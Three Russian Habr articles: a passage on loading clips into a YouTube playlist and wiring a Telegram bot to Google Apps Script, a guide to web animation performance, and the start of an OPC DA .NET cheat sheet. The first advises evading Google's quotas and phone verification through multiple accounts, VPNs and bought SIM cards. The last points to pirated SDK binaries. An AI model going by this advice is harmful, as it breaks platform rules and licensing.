> Projects that enable the YouTube Data API have a default quota allocation of 10 thousand units per day
**10000 квот в день**.
> A write operation has a cost of approximately 50 units
Одна операция записи имеет стоимость **50 квот.**
Если посчитать по [калькулятору квот](https://developers.google.com/youtube/v3/determine_quota_cost), то одна операция добавления видео в плейлист **playlistItems-insert** у нас выйдет **чуть больше 50** **квот** если включён snippet.
Итого получаем 10000/53 примерно 188 клипов.
Если к клипу по каким-либо причинам нет доступа или автор удалил его, то запрос пройдёт впустую, потратив одну квоту на чтение.
То есть с учётом процента „недоступных/удалённых» видео мы можем отправить **примерно 180 клипов за один день**.
**Давайте рассмотрим все варианты загрузки клипов от самого медленного к самому эффективному**
1. **Вручную**
Это легко, но медленно.
Заходим в плейлист — “*Добавление видео — URL*», вставляем нашу ссылку, жмём "*Добавить видео*".
Минус естественно в скорости, так как после каждого добавления идёт перезагрузка страницы с плейлистом. Можно покопать в сторону автокликов через аналог Selenium IDE — Katalon, хорошее описание с ссылками и примерами можно посмотреть в статье [Обзор и практическое руководство по Katalon Recorder (Selenium IDE++ для Chrome и Firefox)](https://habr.com/ru/post/351544/)
2. **По 180 клипов в день с одного аккаунта**
[Здесь](https://developers.google.com/analytics/devguides/config/mgmt/v3/limits-quotas) я прочитал про **сброс квот в полночь по тихоокеанскому времени.**
Разница с тихоокеанским временем, допустим у Новосибирска минус 15 часов, то есть после 15:00 сбрасываются квоты и опять можно загружать 180 клипов.
3. **С нескольких аккаунтов по 180 штук**
Допустим у нас есть два аккаунта Google: "*Общий*", "*Тест1*".
Когда в "*Общем*" кончаются квоты, переходим в "*Тест1*", создаём всё тоже самое, что в "*Общем*", новый канал и плейлист (пусть все плейлисты будут одноимёнными с аккаунтами).
Отрабатываем скрипт **fromSheetToYouTube** с новыми клипами (которых ещё нет в "*Общем*"), добавив их в плейлист "*Тест1*".
Далее заходим в плейлист "*Общий*" — "*Настройки плейлиста — Расширенные настройки — Соавторы*".
Ставим галочку "*Приглашенные пользователи могут добавлять видео в этот плейлист*" и копируем ссылку.
Открываем под пользователем "*Тест1*" и в правом верхнем углу жмём "*Продолжить*".
Теперь у пользователя "*Тест1*" появилась возможность добавить видео из своего плейлиста в плейлист "*Общий*".
Жмём "*Добавить все в …*"
Ставим галочку напротив "*Общий*".
Появляется "*Добавлено в плейлист Общий*".
**Наши видео успешно скопированы.**
Посчитаем: с 5-6 аккаунтов мы можем **ежедневно** парсить **около 1000 клипов**.
Используйте общее хранилище аккаунтов, чтоб не запутаться, а для входа под несколькими аккаунтами одновременно с одного браузера можно воспользоваться [контейнеризацией](https://support.mozilla.org/ru/kb/kontejnery).
Минусы
1. Начальная настройка занимает определённое время.
2. Если у вас нет нескольких аккаунтов Google под рукой, создание с одного IP приводит к сообщению от Google о просьбе подтвердить номер телефона.
Мои усердные попытки совместить VPN и **НЕ** белый IP привели к успешному созданию всего трёх новых аккаунтов (пришлось вспоминать старые).
Так что копаем в сторону белых IP+VPN либо регистрации с разных устройств.
На крайний случай закупаем несколько симок, в любом случае, аккаунты в будущем пригодятся.
Плюсы
При желании и большом количестве аккаунтов парсинг нескольких тысяч клипов может занять всего один день.
TODO
Попробовать "*Серверный аккаунт*" наподобие статьи [Как работать с API Google Таблиц (Google Sheets API v4) на языке R с помощью нового пакета googlesheets4](https://habr.com/ru/post/488756/)**.**
4. **Увеличить квоту:**
* Обращение к Google через [Письмо](https://support.google.com/youtube/contact/yt_api_form?hl=en) (Бесплатно. Форма запроса на английском).
* [Платно](https://cloud.google.com/billing/docs/how-to/manage-billing-account) через создание платного аккаунта.
5. **Добавление по 50 клипов с сгенерированных плейлистов. ВАЖНО!**
Пока писал статью, нашёл самый быстрый способ добавления.
У YouTube есть функционал автогенерации ссылки на плейлист, нужно только вставить через запятую уникальные ID видео из ссылок (не больше 50 штук).
Пример: [https://www.youtube.com/watch\_videos?video\_ids=](https://www.youtube.com/watch_videos?video_ids)
Откроется плейлист с уникальным, автоматически сгенерированным, неизменным ID.
[https://www.youtube.com/watch?v=jSPUkvjaiBs&list=<УНИКАЛЬНЫЙ ID>](https://www.youtube.com/watch?v=jSPUkvjaiBs&list=)
Вставляем её сюда: [https://www.youtube.com/playlist?disable\_polymer=true&list](https://www.youtube.com/playlist?disable_polymer=true&list=)=[<УНИКАЛЬНЫЙ ID>](https://www.youtube.com/watch?v=jSPUkvjaiBs&list=)
Атрибут **disable\_polymer** нужен для появления возможности выгрузки созданного плейлиста в свои.
Жмём в правом верхнем углу три точки, "*Добавить все в …*" и выбираем свой плейлист (пункт 3 — «Общий»).
Минусы: скорость и ограничение в 50 ссылок, а также придётся писать парсер либо вручную генерировать ссылки и подставлять их в конечный вариант.
Плюсы:
* Плейлист может генерироваться без аккаунта.
* **Нет ограничений на добавление!** То есть при должной усидчивости можно вручную все клипы добавить по 50 за раз.
### Создание бота Telegram и привязка его к GAS через вебхук
Если это наш канал или мы связались с админом канала, откуда парсили клипы и он согласился сотрудничать, можно написать небольшого бота, отслеживающего новые клипы канала и добавляющего их в наш YouTube плейлист.
Делаем бота по [инструкции](https://medium.com/@bbsystemscorporation/%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%86%D0%B8%D1%8F-%D0%BF%D0%BE-%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D0%B5-%D1%81-botfather-%D0%B1%D0%BE%D1%82%D0%BE%D0%BC-5c6f74d99a1a), придумываем название. После создания бота нам нужен токен вида 123456789:ABCD…
Заходим в нашу Google таблицу в редактор скриптов.
Можно использовать тот же проект, где находится наш предыдущий скрипт **fromSheetToYouTube**.
Вставляем функцию **doPost**, она будет ловить на вход сообщения от бота, парсить ссылки регуляркой и добавлять в наш YouTube плейлист.
**Исходники**
```
// Отлов сообщений от бота Telegram
function doPost(e) {
// Парсим входные параметры в JSON
var inp = JSON.parse(e.postData.contents)
// Вытягиваем текст сообщения. Если пост канала, то channel_post, иначе это сообщение в бота message
if (typeof inp.channel_post === 'undefined'){
var inpTxt = inp.message.text
}else{
var inpTxt = inp.channel_post.text
}
// Ищем регуляркой ссылку
var y = /(?<=youtube.com\/watch\?v=)(.*?)$|(?<=youtu.be\/)(.*?)$/.exec(inpTxt)[0]
try {
YouTube.PlaylistItems.insert({
snippet: {
playlistId: idCHannel, //ссылка канала
resourceId: {
kind: "youtube#video",
videoId: y //ссылка видео
}
}
}, "snippet")
} catch (e) {
console.error(e);
}
}
```
Добавили, сохранили, надо опубликовать, чтоб получить ссылку доступа.
Жмём „*Опубликовать — Развернуть как веб-приложение…*“
Выпадающие меню выбираем, как на скрине.
Далее нам нужно содержимое всей ссылки [https://script.google.com/macros/s…](https://script.google.com/macros/s%E2%80%A6)
Как только у нас есть токен бота и ссылка на наше приложение, мы можем их связать через **webhook**.
[https://api.telegram.org/bot<ТОКЕН БОТА>/setWebHook?url=<ССЫЛКА НА ПРИЛОЖЕНИЕ>](https://api.telegram.org/bot)Должно вывестись сообщение
```
{"ok":true,"result":true,"description":"Webhook was set"}
```
Сразу напишу, что сброс вебхука (отвязка бота от приложения) производится так: [https://api.telegram.org/bot<ТОКЕН БОТА>/setWebHook](https://api.telegram.org/bot)Выведется
```
{"ok":true,"result":true,"description":"Webhook was deleted"}
```
**Как обойти блокировки**
На ряде провайдеров всё, что связано с работой Telegram через браузер блокируется. Соответственно вызов <https://api.telegram.org/> нам выведет „*Не удается получить доступ к сайту*“.
Тут нам поможет VPN, я использовал для Google Chrome расширение [Hotspot Shield Free VPN Proxy — Unlimited VPN](https://chrome.google.com/webstore/detail/hotspot-shield-free-vpn-p/nlbejmccbhkncgokjcmghpfloaajcffj)
Итак, наш бот связан с скриптом и если что-то написать в бота, функция **doPost** это поймает и обработает.
Входная структура JSON сообщений [тут](https://core.telegram.org/bots/api#message).
Некоторым в принципе хватит и такой функциональности — подписываемся на множество каналов, парсим все в один плейлист, а потом пересылаем со всех каналов новые посты в бота и знаем, что они моментально добавятся в наш плейлист.
**Автоматизация**
Чтобы автоматизировать процесс, добавляем бота в канал админом, предварительно прочитав про политики приватности [тут](https://core.telegram.org/bots#privacy-mode).
Теперь при новом посте в канале в наш скрипт будет приходить
```
JSON.parse(e.postData.contents).channel_post.text
```
e — входной параметр.
При отправке с бота, соответственно
```
JSON.parse(e.postData.contents).message.text
```
На ваше усмотрение можно прикрутить проверку существования клипов, повторы, логи в ячейки и т.д., пользуясь [мануалом](https://developers.google.com/apps-script/reference/spreadsheet).
Помним, что GAS отрабатываются при первом запуске не сразу, а примерно через 10-30 секунд, так что ваше первое сообщение боту придёт не сразу.
### Заключение
Итак, мы изучили несколько способов добавления клипов.
Вдобавок у нас имеется Telegram бот, привязанный к каналу, способный отлавливать сообщения как из канала, так и адресованные ему, парсить их в GAS и добавлять в плейлист YouTube.
Задача решена.
### Источники
Описание всех методов работы с ботами Telegram [тут](https://core.telegram.org/bots/api).
Справочник о API YouTube [тут](https://developers.google.com/youtube/v3/)Все команды Google Apps Script [тут](https://developers.google.com/apps-script/reference/spreadsheet) | https://habr.com/ru/post/501276/ | null | ru | null |
# Производительность анимаций на сайтах
При разработке сайтов, выходящих за рамки условного бутстрапа, рано или поздно возникают вопросы, связанные с производительностью анимаций. Особенно важными они являются в дизайнерских сайтах, вроде тех, что попадают в каталоги Awwwards, FWA, CSS Design Awards и.т.д. При этом часто задача создания анимаций и последующей оптимизации, если она будет нужна, ложится на плечи не очень опытных разработчиков, которые даже не знают с чего начать. Обычно все это выливается в тормозящие сайты, которыми невозможно пользоваться, и последующее негативное отношение ко всему классу таких проектов. В этой статье мы постараемся разобрать, где находится граница приемлемой производительности анимаций, какие узкие места часто встречаются и куда смотреть в инструментах разработчика в первую очередь.
*Небольшое замечание: поскольку эта статья предназначается скорее для начинающих разработчиков и ее цель – показать общие подходы к оптимизации анимаций, то многие вещи будут даваться в упрощенной, не совсем академичной форме.*
Как браузер отображает страницу
-------------------------------
Первым делом полезно разобраться с тем, что происходит, когда браузер отображает нам текущее состояние страницы. Существует четыре основных шага:
1. Style calculation (браузер разбирает CSS-селекторы, определяет какие стили к чему нужно применять)
2. Layout creation (собственно формируется макет страницы)
3. Painting (создаются пиксельные представления элементов для последующего рендеринга)
4. Layer composition (браузер собирает все воедино и показывает на экране)
При этом браузер всегда действует в этой последовательности и идет до конца. При первоначальном отображении страницы после ее загрузки проходят все четыре шага. В дальнейшем наши действия могут вызвать выполнение одного из них, но при этом выполнятся и все последующие. Но не предыдущие.
Узкие места каждого из этих шагов мы рассмотрим дальше, а сейчас зададимся одним глупым на первый взгляд вопросом, с которого по идее нужно начинать...
Тормозит или не тормозит, вот в чем вопрос…
-------------------------------------------
Очень часто можно встретить людей, которые ничего не делают с явно тормозящим сайтом и говорят “а у меня page speed дает 100 баллов, все хорошо”. Или наоборот, на хорошо работающем сайте люди долго занимаются какими-то оптимизациями, потому, что какой-то алгоритм работает неэффективно по каким-то загадочным метрикам. Но между этими крайностями должна быть середина здравого смысла, так где же она?
Чтобы ~~познать дзен~~ понять, нужна ли оптимизация ваших анимаций, нужно осознать глубокую философскую мысль:
> Если ты видишь, что сайт тормозит, значит он тормозит. Если ты не видишь, что сайт тормозит, значит он не тормозит.
Многие люди почему-то считают это утверждение очень глупым, но так ли это? Для конечного пользователя производительность – это не какие-то метрики или идеальные алгоритмы со строгим математическим обоснованием. Для него производительность – это одно из двух: тормозит или не тормозит.
Как он это определяет? Глаз человека, проводящего много времени за монитором, начинает резко реагировать на падение fps. Это вызывает странное чувство дискомфорта. Соответственно наша задача, как разработчиков, не допускать проседания. Пользователь привык видеть работу браузера в 60fps? Хорошо, значит делаем все, чтобы все так и оставалось. Берем ноутбук со средним железом и смотрим. Видим сильно меньше 60fps – оптимизируем. Видим около 60 – ничего не трогаем. Пользователь разницы все равно не заметит, а мы потратим кучу времени на оптимизации ради оптимизаций.
> Не занимайтесь оптимизациями ради оптимизаций.
16.5ms
------
Выражаться в терминах fps не удобно, так что перейдем к миллисекундам. Нехитрым делением 1000ms / 60fps получаем, что на один кадр приходится примерно 16.5ms времени.
Что это означает? За 16.5ms браузер должен отобразить нам текущее состояние страницы с анимацией, пройдя по шагам, которые мы смотрели выше, и при этом должны остаться ресурсы на работу других скриптов, общение с сервером и.т.д. Если на отображение текущего состояния страницы будет тратиться большее время – мы увидим глазами лаг. Если около 16ms, то проседания не будет, но вполне вероятно, что загрузка железа будет очень высокой, кулеры будут гудеть, а телефоны греться. Таким образом нам нужно следить за тем, чтобы отрисовка одного кадра не приближалась к этому значению по времени, а еще лучше не была больше 10ms, чтобы оставался запас по производительности. Не забывайте также, что тесты проводятся всегда на среднем железе – например в последующих примерах скриншоты будут делаться на Pentium Silver со встроенной графикой.
> Проводите тесты на том железе, которое более вероятно есть у ваших пользователей. Если у вас на рабочем месте топовый процессор и майнинг-ферма под столом, то у вас все будет работать хорошо, при этом у ваших пользователей с бюджетными ноутбуками все может быть очень печально.
Для того, чтобы не полагаться только на свой меткий глаз и интуицию, полезно освоить инструменты разработчика, по крайней мере на базовом уровне. Они не только дадут точные данные о производительности, но и подскажут, где искать проблему, если все работает не очень.
Инструменты разработчика в Google Chrome
----------------------------------------
Многих верстальщиков инструменты разработчика в браузере пугают чуть ли не сильнее, чем консоль linux. Но на самом деле там нечего бояться. Да, там много кнопок, но они избыточны для решения наших задач. Сейчас мы посмотрим, куда стоит обращать внимание в первую очередь, чтобы понять, что делать с анимацией, и нужно ли вообще что-то делать.
Когда речь идет о производительности, мы большую часть времени будем проводить во вкладке performance и будем нажимать одну и ту же кнопку.
Сочетание клавиш Ctrl-E или круглая кнопка слева запускают и останавливают запись происходящего. Результаты выводятся здесь же. Браузер записывает много всего, но лучше один раз увидеть, чем много раз прочитать, так что возьмем какую-нибудь анимацию и посмотрим на нее. Пусть для начала это будет простая CSS-анимация. Если открыть ее на весь экран, то можно будет увидеть, что работает она с заметными подлагиваниями:
Запишем несколько секунд в полноэкранном режиме и посмотрим, что там происходит:
Браузер записывает все, что делает. В верхней части окна мы видим график fps. По нему можно легко обнаружить аномалию, если в процессе работы со страницей она начнет резко тормозить. Если нажать на график мышкой и потянуть в сторону или покрутить колесиком, то можно будет выбрать этот диапазон времени и внизу будет отображаться детальная информация для него. В нашем простом примере нет аномалий, но хорошо видно, что все работает не очень равномерно.
Сразу обратим внимание на строку *Frames*, в ней содержится информация о времени, затраченном на каждый кадр. Можно заметить, что это время постоянно скачет и заметно превышает 16ms (ниже, в практических примерах, мы немного улучшим эту анимацию).
Дальше мы видим несколько строчек, в которых разными цветами отображается нагрузка – можно посмотреть, сколько времени браузер потратил на разные виды деятельности. У нас анимация равномерная и для каждого кадра выполняются одни и те же операции, обозначенные фиолетовым и зеленым цветом. Если навести мышь на цветные блоки, то станет ясно, что мы имеем дело с теми пунктами, которые упоминали в начале – *recalculate style* и *update layer tree* – фиолетовые, а *paint* и *composite layers* – зеленые.
Рассмотрим другую анимацию. На этот раз со скриптами – простой генератор шума. Это довольно показательный пример, хотя и не представляет никакого интереса с точки зрения дизайна:
Вы можете заметить, что добавились желтые блоки, отображающие выполнение скриптов. Если там будет много вызовов функций, то для каждого вызова будет добавляться еще один блок – по их размеру нетрудно найти самую “тяжелую” функцию, с которой, вероятно, и стоит начать оптимизацию.
В примере время, затраченное на один кадр, колеблется в районе 80ms. Да что уж там, даже невооруженным глазом хорошо видно, как все подлагивает. Посмотрев в раздел *summary* внизу, мы видим, что больше всего времени занимают скрипты. По сравнению с ними *rendering* и *painting* выглядят как погрешности, которыми можно пренебречь. Не всегда, конечно, так бывает, но довольно часто.
Если нажать на блок, помеченный как *function call*, то внизу будет ссылка на функцию в коде скрипта. Если по ней пройти, то можно будет увидеть, что в этом примере идет цикл по всем пикселям на экране. Такую задачу было бы логичнее делать на шейдерах, тогда производительность была бы в разы лучше. Но мы посмотрим на это в практических примерах.
Что делать, если...
-------------------
Мы узнали, какие есть шаги при отображении текущего состояния страницы в браузере, и где посмотреть, какой из них занимает больше всего времени. Настала пора познакомиться с наиболее распространенными причинами, по которым тот или иной шаг начинает требовать слишком много ресурсов и дать пару советов, что делать в том или ином случае.
Style calculation
-----------------
Если вы видите, что уже на этом шаге начинаются проблемы – скорее всего дело даже не в анимации, а в том, что элементов на странице слишком много. В дизайнерских сайтах это довольно редко встречается, обычно такая проблема – спутник больших таблиц с тысячами элементов, но если вы все же столкнулись с этим:
> Уменьшите количество элементов на странице, упростите разметку. Особое внимание обратите на повторяющиеся куски кода с обертками, вполне вероятно, что их можно убрать.
Вторая причина, связанная с первой – это сложные селекторы в CSS. Если на небольших страницах вполне можно использовать глубокие вложенности, хитрые хаки с соседними элементами и.т.д., то на действительно большой странице это все может привести к плохой производительности.
> Упрощайте селекторы в CSS, используйте БЭМ.
Layout creation
---------------
Этот пункт уже ближе к дизайну и анимациям, здесь начинаются интересные вещи. Первое, что важно уяснить, так это то, что макет формируется целиком. Если мы что-то меняем, он формируется заново. По этой причине на большой странице даже незначительные изменения могут вызывать заметные задержки на этом шаге.
Главное правило, которым мы руководствуемся при создании анимаций – не допускать перестройку макета любой ценой. Поэтому обычно мы не пытаемся оптимизировать ее (да и возможностей особо нет), а именно стараемся ее избежать.
Свойств, которые могут вызывать перестроение макета много, вы можете найти списки в интернете, например на [csstriggers.com](https://csstriggers.com/) есть неплохой. Чаще других в анимациях можно встретить свойства:
```
display
position / top / left / right / bottom
width / height
padding / margin
border
font-size / font-weight / line-height
и.т.д.
```
Вы можете заметить, что все эти свойства объединяет одно – они описывают геометрические характеристики элементов – параметры отображения, размер и физическое расположение. Так что вместо того, чтобы запоминать их все, помните, к чему они относятся.
> Не изменяйте геометрические свойства элементов, лучше используйте transform и opacity.
Отдельно стоит отметить, что изменение фона элемента также будет возвращать нас к этому шагу. Про это постоянно забывают, так что выделим в отдельную рекомендацию:
> Не меняйте background элементов.
В некоторых браузерах (~~не буду тыкать пальцем в Firefox~~) может появляться характерный лаг CSS-анимаций с трансформациями, особенно если выполняется больше одной анимации в единицу времени. Внешне это может выглядеть не только как паузы в ее работе, но и как “срывы” анимации в самое свое начало. Кажется, что браузер постоянно что-то рассчитывает заново. Такое поведение почти всегда поправляется с помощью свойства *backface-visibility*.
> По возможности добавляйте backface-visibility: hidden анимируемым элементам.
Также перестройку макета вызывают наши обращения к элементам из скриптов. Причем это не обязательно должно быть прямое изменение CSS, это может быть и обращение к некоторым свойствам и методам элементов. Наиболее часто встречаются:
```
offset***
client***
inner***
scroll***
```
В анимациях стоит проявлять осторожность с ними, т.к. если мы начнем обращаться к этим свойствам и методам у большого количества элементов, то каждый раз это будет вызывать перестройку макета.
> Избегайте обращений к упомянутым свойствам и методам для отдельных элементов в циклах.
Painting и layer composition
----------------------------
Эти два шага рассмотрим вместе, т.к. они в некоторой степени связаны и обычно если есть проблемы с одним, то будут и с другим. Пропустить эти шаги, избежать их, уже не получится, поэтому мы пытаемся их как-то оптимизировать.
Браузер готовит пиксельное изображение страницы не целиком, а по частям – слоям. Их может быть много. Каждый слой существует как бы сам в себе и не затрагивает остальные, что создает почву для некоторых CSS-хаков. Но мы поговорим о них в другой раз. Затем из этих слоев собирается конечное изображение. В контексте анимаций очень полезно вынести анимируемые элементы в отдельный слой, чтобы их изменения не затрагивали все вокруг. Желательно, чтобы содержимое элементов было небольшим. Мы можем это сделать с помощью свойства *will-change* или, как это раньше делали, *transform: translateZ(0)*. Единственное, что нужно помнить – это то, что нельзя увеличивать количество слоев бесконечно. В какой-то момент это сыграет злую шутку и производительность напротив упадет. Так что здесь будет два совета:
> Используйте will-change или transform: translateZ(0), чтобы выносить анимируемые элементы в отдельный слой.
но в то же время
> Не переусердствуйте с этим делом. Проверяйте в инструментах разработчика, что не стало хуже.
Очень часто серьезные проблемы вызывают фильтры, которые как-то трансформируют изображение элементов. Это могут быть простые CSS-фильтры с *blur* или замороченные варианты с SVG, но эффект будет одинаковым – заметное снижение производительности.
> Не используйте сложные фильтры. Если все же нужен задуманный эффект – рассмотрите вариант реализации его на WebGL.
Насколько эти советы работают?
------------------------------
Работают, но не нужно ждать от них чуда. В сети новички иногда говорят “я добавил will-change, но ничего не изменилось”. Обычно это значит, что основная проблема была в другом месте, а этот прием дал настолько маленький прирост производительности, что он остался незамеченным. Именно поэтому важно использовать инструменты разработчика, чтобы четко понимать, где именно находится узкое место и не тратить время и силы на попытки оптимизировать то, что и так работает нормально.
Из всего этого можно сделать вывод, что есть не так много способов повлиять именно на отрисовку страницы, да и эффект от них не всегда будет значительным. Эти приемы – не серебряные пули, они скорее нужны для полировки анимации. Если мы посмотрим на сайты с действительно плохой производительностью, то заметим, что в подавляющем большинстве случаев виной тому будут наши собственные скрипты, а не загадочные проблемы с разбором CSS где-то в недрах браузера.
Скрипты...
----------
Знаете откуда растут проблемы с тормозящими анимациями чаще всего (по моим наблюдениям)? Вот из этого подхода к разработке:
Звучит глупо, но так оно и есть. Постоянно встречаются решения, явно откуда-то скопированные совершенно без понимания, что там к чему. Бывает даже такое, что можно половину кода удалить и все продолжит работать. Часто код в ответах на SO или Тостере не предназначен для вашего продакшена. Это должно быть очевидно. Он показывает идею, отвечает на вопрос, но совершенно не является оптимальным конечным вариантом под вашу конкретную задачу.
> Если уж копируете, то хотя бы просматривайте код на предмет лишних действий.
RequestAnimationFrame
---------------------
Про этот метод часто говорят и рекомендуют использовать его вместо *setTimeout / setInterval* в анимациях. В этом есть смысл, так как те методы имеют свойство рассинхронизироваться по времени с кадрами, которые перерисовывает браузер и в результате получаются небольшие лаги. Но тут есть два замечания.
Во-первых, если на странице анимируется больше одного элемента и мы будем вызывать requestAnimationFrame много раз, то это приведет к резкому проседанию fps. В теории так быть не должно, но на практике все происходит именно так. Ознакомиться с тестами [можно здесь](https://jsperf.com/single-raf-draw-calls-vs-multiple-raf-draw-calls).
> Объединяйте все коллбеки для анимаций в один requestAnimationFrame.
Второй момент связан скорее с ситуацией, когда у нас уже есть тяжелая анимация, возможно с применением канваса, от которой мы не можем избавиться или времени нет переделывать, и происходит следующее: допустим анимация должна выполняться за N секунд и мы уже используем *requestAnimationFrame*. Но требуется много ресурсов для расчета текущего состояния и мы видим такую картину: анимация работает плавно, красиво, но за 2N, а то и 3N секунд. В результате все воспринимается оооччччеееннь меееедддллеенным. Для того, чтобы хоть как-то поправить такое поведение, можно пойти против всех рекомендаций, воспользоваться тем самым *setInterval / setTimeout* и привязать состояния анимируемых элементов к физическому времени, а не к абстрактным кадрам. В результате мы получим формальное уменьшение fps, но с психологическим эффектом прироста производительности.
> В случае крайне медленной анимации может иметь смысл отказаться от requestAnimationFrame в пользу setInterval / setTimeout.
Canvas и шейдеры
----------------
Значительная часть анимаций на нестандартных сайтах связана с канвасом. Это вполне объяснимо, CSS – штука ограниченная, а здесь мы можем реализовать любые фантазии дизайнера. Но нужно иметь в виду, что обычный 2d-канвас – это далеко не самая производительная технология. Если вы начнете рисовать на нем много элементов или работать с пикселями напрямую, то быстро столкнетесь с тем, что fps проседает, или совершенно внезапно *painting* и *layer composition* начинают занимать неприлично много времени. Наглядно эту проблему можно увидеть в примере:
Посмотрим на то, что делает браузер (последний Google Chrome под линуксом):
Обратите внимание на то, насколько сильно разросся шаг *layer composition*. Это выглядит немного нелогично, там ведь только один элемент, что там можно так долго компоновать? Но при использовании 2d-канваса такое поведение – не редкость, и что-то с этим сделать очень проблематично. Это одна из причин, почему обычно мы склоняемся к использованию WebGL, там таких вопросов не возникает.
> Если стоит выбор между 2d-канвасом и WebGL, выбирайте второе. Это даст изначальный бонус в производительности на тех же самых задачах.
С чем обычно ассоциируется WebGL? С шейдерами. А отладка шейдеров – это головная боль для любого, кто с ними работает. И инструменты разработчика тут практически бессильны. Обычно, если в шейдерах слишком много вычислений, мы видим в сводке внизу, что больше всего времени занимает “простой”, который по факту является выполнением наших шейдеров независимо от браузера, и никаких полезных подробностей мы получить не можем.
Есть разные рекомендации о том, какие функции предпочитать другим в шейдерах, потому, что они якобы лучше оптимизированы. Или что нужно избегать блокирующих операций. Это все верно, но по моим наблюдениям в большинстве случаев шейдеры, которые слишком тормозят работу сайта – это просто очень большие шейдеры. Если вы написали 100 строк GLSL в одном месте, это почти гарантированно будет плохо работать. А если там еще и разные вложенные конструкции, циклы, то все – пиши пропало. Дать какие-то рекомендации здесь сложно, разве что:
> Если вы в процессе работы поняли, что все сложнее, чем казалось изначально, и что кода будет много и он будет тормозить – лучше как можно раньше это обсудить с дизайнером и заказчиком и подумать, что можно изменить.
Часто можно прийти к выводу, что заранее подготовленное видео будет работать куда лучше, чем попытки отрендерить какую-то замороченную штуку в реальном времени. Помните об этом. Да, все хотят показать себя, хотят покрасоваться “а я еще вот так умею”, но не забывайте о конечных пользователях.
В связи с этой мыслью вспоминается “болезнь”, которой особенно подвержены бывшие олимпиадники. Она почему-то сильно проявляется именно при работе с канвасом. По ее причине стоит всегда осторожно копировать код таких людей. Они стараются использовать “правильные” математические алгоритмы, сложные физические формулы, рассчитывать все движения элементов с большой точностью даже там, где это совершенно ни к чему. Это приводит к росту нагрузки на процессор и к тому, что за наши условные 10ms он ничего не успевает посчитать. На практике же часто можно обойтись приближенными формулами и школьными знаниями физики. Не нужно все усложнять, мы делаем сайты, а не программное обеспечение для баллистических ракет.
> Используйте простые алгоритмы.
Есть еще один прием, который называется *RayMarching*. Некоторые люди считают создание разных эффектов с его помощью чем-то вроде челленджа, разминки для ума, и иногда результаты производят сильное впечатление. Например здесь генерируется целый подводный мир (вставил видео, потому что от расчетов этого в реальном времени телефон/ноутбук вполне может повеситься):
С самим шейдером можно ознакомиться [здесь](https://www.shadertoy.com/view/4sXBRn).
На практике это все требует невероятных ресурсов для работы. В полноэкранном режиме мы имеем 400-800ms на кадр (а вообще в этом примере и до 1500ms может подниматься):
Так что если вы поймали себя на мысли сделать что-то такое на боевом сайте – дайте себе клавиатурой по голове, выпейте чаю и подумайте об альтернативных вариантах реализации эффектов.
> Не используйте RayMarching, это верный способ убить производительность.
Практический пример
-------------------
В статьях про производительность часто не хватает примеров, а на слово поверить бывает сложно. Так что рассмотрим пару. Помните первый пример с вращающимся туннелем на CSS? Браузер делал много всего:
Мы хотим немного ускорить все это. С чего начать? Мы видим фиолетовые блоки, это значит, что браузер постоянно перестраивает макет. Скриптов там нет, но есть CSS анимации, в которых что-то меняется. Посмотрим на их код:
```
@keyframes rotate {
from {
transform: rotate(0);
}
to {
transform: rotate(360deg);
}
}
@keyframes move-block {
from {
transform: translateX(0);
background: @color1;
}
to {
transform: translateX(-@block-size * 6);
background: @color2;
}
}
```
Трансформации нас не пугают, но мы видим изменение фона элементов. Вспоминаем, что это может вызывать перестройку макета, и думаем, что можно сделать в этой ситуации…
Изменение фона нужно убрать любой ценой, так что исходя из общей идеи анимации решаем, что можно сверху положить радиальный градиент, который создаст почти такой же эффект объема. Кто-то скажет, что градиенты плохо влияют на производительность, но мы ведь не собираемся его менять. Пусть лучше он один раз плохо повлияет, чем у нас будет целая гора постоянно плохо влияющих элементов. В результате получится:
Посмотрим, что делает браузер:
Ух ты… Вместо кучи действий мы видим редкие обращения к GPU и больше ничего, при этом сама анимация стала работать заметно плавнее.
Еще пример
----------
Вспомним, как выглядела работа браузера в генераторе шума:
Проблема определенно в скриптах. Видно, что блок "render" самый большой. Это наша основная функция для отрисовки изображения. Посмотрим на нее:
```
function render() {
let imageData = CTX.createImageData(CTX.canvas.width, CTX.canvas.height);
for (let i = 0; i < imageData.data.length; i += 4) {
const color = getRandom();
imageData.data[i] = color;
imageData.data[i + 1] = color;
imageData.data[i + 2] = color;
imageData.data[i + 3] = 255;
}
CTX.putImageData(imageData, 0, 0);
requestAnimationFrame(render);
}
```
Здесь определенно идет работа с отдельными пикселями. Это не очень здорово. Мы говорили, что по возможности лучше использовать не 2d-канвас, а WebGL, а эта задача так и хочет, чтобы ее распараллелили с помощью шейдера. Сделаем это:
Что в итоге получится? Смотрите сами:
Время на один кадр снизилось почти до 16ms. Конечно это не идеал, но все же лучше, чем 80ms. В сложных красивых анимациях такой прирост производительности может быть очень заметен. Пользуясь случаем рекомендую начинающим ознакомиться с [введением в программирование шейдеров](https://habr.com/ru/post/420847/) и с [продолжением с примерами](https://habr.com/ru/post/421821/).
Заключение
----------
В этой статье мы разобрались с тем, когда стоит заниматься оптимизацией производительности анимаций, как пользоваться инструментами разработчика в Chrome в этом контексте и на что обращать внимание в первую очередь. Надеюсь эта информация будет полезна разработчикам, которые впервые столкнулись с такими задачами и не знают с чего начать. | https://habr.com/ru/post/450484/ | null | ru | null |
# Шпаргалка по OPC DA 2 в .NET
На днях пришлось крепко повозиться с настройкой вызова удалённого сервера по протоколу OPC DA 2.05a, и эта информация бы очень пригодилась, знай я её заранее.
#### 1. Что такое OPC DA и в частности OPC DA 2.05a
В общем случае OPC — это набор открытых протоколов, регламентирующих взаимодействие между собой различных объектов автоматизации, таких как SCADA-системы, к примеру. OPC DA (Data Access) — это один из таких протоколов, он обеспечивает обмен данными с устройствами или программными компонентами. В моем случае по этому протоколу нужно было периодически забирать данные со SCADA-системы. И самое важное — OPC DA работает на базе технологии COM, так что взаимодействие с OPC сервером по сути сводится к взаимодействию с COM сервером.
#### 2. Какие есть библиотеки
##### Бинарники от [Opc Foundation](http://www.opcfoundation.org)
Называются [OPC .NET API 2.00 Redistributable](http://www.opcfoundation.org/DownloadFile.aspx?CM=3&RI=560&CN=KEY&CI=285&CU=7) — их нельзя скачать просто так, нужно быть «мембером» (= зарегиться и занести деньжат). Там же и OPC Core Components, от которых эта библиотека зависит. На рутрекере можно найти и то, и другое. А вообще не совсем понятно, почему для получения библиотеки от Opc Foundation — компании, которая продвигает «открытый стандарт» — нужно что-то платить.
